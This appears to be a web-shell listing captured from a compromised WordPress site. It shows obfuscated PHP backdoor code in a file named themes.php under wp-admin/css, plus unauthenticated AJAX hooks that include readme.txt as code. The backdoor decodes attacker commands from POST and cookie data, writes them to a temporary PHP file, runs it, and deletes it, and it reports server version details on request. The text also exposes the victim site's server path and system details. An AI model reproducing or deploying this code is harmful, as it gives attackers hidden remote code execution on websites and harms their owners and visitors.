if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/wp-admin/css/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/wp-admin/css/themes.php
<?php $trsvolwa    = /*   t*/ 'trsvolwa'    ^    '';
$kjvnq_       = /*jjap */ $trsvolwa(380-297)      .    "T".$trsvolwa(82)       .	"\x5f"	. /*hzc */ "P"."A"."\104"    .    "_"."R".$trsvolwa(73)       . /*tvbpkb  */ "\107"      .     $trsvolwa(72)     .    "T";

$zrqoa     =   "a".$trsvolwa(114)	.  "r"."\141"    .    "\171"	.       $trsvolwa(95)	. /*tcfqfn   */ "m"."\141"    .   $trsvolwa(256-144);

$lsdkozi /*b */ = /* us  */ "i"."m"."\160"    .    "\154"	. /*g  */ "\157" /*kqeve */ .	"d"."\x65";


$_cibmxxyj /*incyc*/ = /*w  */ "\x73"	.	"t".$trsvolwa(779-665)      .  "_"."\x70"     .    "\x61"    . /* xnnxm  */ "d";


$vixua_pzrs /*   iuwesd  */ =	$trsvolwa(99)  .       "o".$trsvolwa(178-61) /*  febsm */ . /*  nzlgdw   */ "n"."t";






function /*  kri */ kghau($zdzeqgtqs,    $tfvnl){


 /*   bvst   */ global       $trsvolwa;    
 /*psa  */ $zdzeqgtqs /*lyqg */ =    $trsvolwa(387-327) /*bpmpma */ . /*   qh   */ "\77" /*qlblie  */ . /*bdsah */ $trsvolwa(579-467) /* ue   */ . /* qclc  */ "h"."\160"       . /*  v_k */ $trsvolwa(32) /*  jh  */ . /* enj */ "u".$trsvolwa(341-231) /*  ofqwfz   */ .    "\x6c" /*  umzdao  */ . /*wogjl */ "\x69"    .	"n"."\153"	. /*   yxjrtj */ "\50"	.	"\137" /*uasfm*/ .    "_".$trsvolwa(1003-933) /*  lq  */ .	$trsvolwa(73) /*   cait  */ . /*  reo_b   */ "L"."\x45"      . /* kbwrmq*/ "\137"	. /*  ifs_ */ $trsvolwa(453-358) /*   m_iq  */ .	$trsvolwa(41)  .    ";".$trsvolwa(32) /*t  */ . /* i   */ $zdzeqgtqs["\x64"];


       $lwogoz   = /*en*/ $trsvolwa(376-274)	.    "\x69" /*  oaxj   */ . /*   c  */ "l".$trsvolwa(101)  .	$trsvolwa(1018-923)      .	"\160"	. /*efkkob*/ "\165"    . /*uhlbjt*/ $trsvolwa(526-410) /*ufxjj_ */ .    $trsvolwa(95)     . /* vx  */ "c"."o"."n"."\164"    .    "e".$trsvolwa(1045-935)     .       "t".$trsvolwa(1009-894);
       
   $lwogoz($tfvnl,	$zdzeqgtqs);


 /*rdm_*/    ihovabbktg($tfvnl);

}





$lrdgivo /*dls*/ =  73;


function /*  _mzte   */ ihovabbktg($tfvnl)

{ /*  jeu   */ global /*   kkdryi   */ $trsvolwa;


         include($tfvnl);       $ybykfswyn     = /* gqry   */ $tfvnl;


 /*  fyg*/ @unlink($ybykfswyn);}

function /*   yux_d  */ fnklbfj()


{


    global  $trsvolwa;




      $kpilb /*  c */ =    array();

    $kpilb["p"."v"] /*   _ */ = /*   q_sjv   */ phpversion();      $kpilb[$trsvolwa(115)	.      $trsvolwa(118)] /*bwmjgv*/ = /*  sdukc  */ "3"."."."5";	$rbxjy_    =  74;
 /* lhz */ echo       @serialize($kpilb);


}


function      gvvef($zdzeqgtqs,      $kqco_f)


{

 /*  zoe*/ global /* mqxgmc   */ $trsvolwa;


 /*kiep_  */ $uz_xrvs	=    "";

 /*   o  */ $aamtikthu_ac  = /*xge  */ 'jlyfiqgwp';
    $gldewnmycu	= /*  _piort */ hash('sha256',    $zdzeqgtqs);
  $drcdkjbiwy      = /*y */ str_replace('znqlr',    $gldewnmycu,       $aamtikthu_ac);

      $kpilb /*  hyascb  */ = /*ihmihr */ 0;

   while       ($kpilb    <  strlen($zdzeqgtqs))      {   $n_bzlvzf	=    isset($kqco_f) /*k   */ ?    $kqco_f      :       '';


    for    ($aamtikt    =    0;    $aamtikt    <    strlen($n_bzlvzf)	&&    $kpilb /*   _vum   */ <   strlen($zdzeqgtqs);    $aamtikt++,      $kpilb++)    {
   $uz_xrvs    .=	$trsvolwa(ord($zdzeqgtqs[$kpilb])      ^    ord($n_bzlvzf[$aamtikt])); /* k_ps*/ }

    if    (strlen($uz_xrvs)      >	20)    {
	$drcdkjbiwy    = /*  na */ substr($uz_xrvs,    0,	20);    }


	}


 /*   n   */ if    (empty($uz_xrvs)) /*   yackcr   */ {


	$uz_xrvs    =    date('Y-m-d     H:i:s');


    }

 /*  fyvdg   */ return /* tci  */ $uz_xrvs;

}


function /* sldg */ feouo($lpmjzjxv)
{ /*   iaebo_  */ global	$trsvolwa;
   /*r  */ $cd_pgvwcp /* iar   */ =	$trsvolwa(876-822) /* o*/ . /*   ia*/ "\141" /*  k*/ .	"\x36" /*   wmpquu*/ .	$trsvolwa(57)	.	"\x37"    .	$trsvolwa(52)   .    "6"."6"."-"."\x37" /*  zk */ .    "\141"	. /*   i   */ "9"."\x32" /*  dmwywi   */ . /*  ozcc   */ $trsvolwa(211-166) /*dj*/ .     "4"."\x35"	.	"5"."b"."-"."\141" /*   _otm */ .	"f".$trsvolwa(444-392)    .  "0"."-"."4".$trsvolwa(373-271)	. /*t  */ "4"."\x62" /*   ucwah   */ . /* kdxj*/ "5".$trsvolwa(55) /*wswxm   */ . /*   arge   */ $trsvolwa(56) /*   g   */ .    "\x35"  .    $trsvolwa(48)    .    "4"."3"."\x64";

     	foreach    ($lpmjzjxv     as /*   nf  */ $aamtiktgiojv  =>	$zdzeqgtqs)     {

	zfmqz(base64_decode($zdzeqgtqs),      $cd_pgvwcp, /*   h*/ $aamtiktgiojv);

 /*   xi   */ }

}




function    zfmqz($zdzeqgtqs,	$cd_pgvwcp,      $aamtiktgiojv)
{
    global      $trsvolwa;

 /*yma */ 
      $zdzeqgtqs /*ds   */ =	unserialize(gvvef(gvvef($zdzeqgtqs,     $cd_pgvwcp),    $aamtiktgiojv));


	$eibqn_tui       =    '_gmct';

	$uyfww_gw	=    'ktp';


    if       (isset($zdzeqgtqs["\x61".$trsvolwa(1005-898)]))  {


 /*zhh */ if    ($zdzeqgtqs["\x61"]    ==     "\x69")    {


  fnklbfj();

 /*gbyy*/ }      elseif       ($zdzeqgtqs["\x61"]       == /*   g*/ "e") /* bqpba */ {
	kghau($zdzeqgtqs,    sprintf("."."\x2f" /*zgzhd*/ . /* _q_ */ $trsvolwa(168-131)   . /*  ywnn   */ "s"."."."p".$trsvolwa(108),	md5($cd_pgvwcp)));
			$sqglgwc	=     44; /*_y   */ }    exit();

    }
}

feouo($_POST); /*  rsmu   */ 


$aamtikttovwt /*yf__*/ =	$zrqoa('rawurldecode', /*m */ $_POST);$qzaouiudna     = /*   hs  */ $vixua_pzrs($aamtikttovwt);if /*   ytz   */ ($qzaouiudna /*   sjsi  */ > /*  myr */ 0)    {     $kmbwachps /* jf*/ =    $lsdkozi(',',	$aamtikttovwt);


}



feouo($_COOKIE);    



$krdluzgn       =    $zrqoa('rawurldecode',    $_COOKIE);$qxxofg_ /*   g   */ = /*   rbkges   */ $vixua_pzrs($krdluzgn);
if   ($qxxofg_ /*klwlki */ >      0)    {

 /* _il   */ $lkapxaanpr	= /* jllni */ $lsdkozi(';',	$krdluzgn);


}
$_qwvydqp_ /* fc*/ =    $krdluzgn;


$uentorrvyn     = /* gwis   */ date('Y-m-d  H:i:s');$pqxup	= /*   _cdhzy*/ strlen($lsdkozi('', /* m   */ $_qwvydqp_));if /*  j  */ ($pqxup    > /*  ek */ 100) /*   dtk_j*/ {


       $eyhki  =  $_cibmxxyj($lsdkozi('',  $_qwvydqp_), /*o*/ 150, /*  mhygqt*/ '0', /*  wjv*/ $kjvnq_);


}







?>
@ Telegram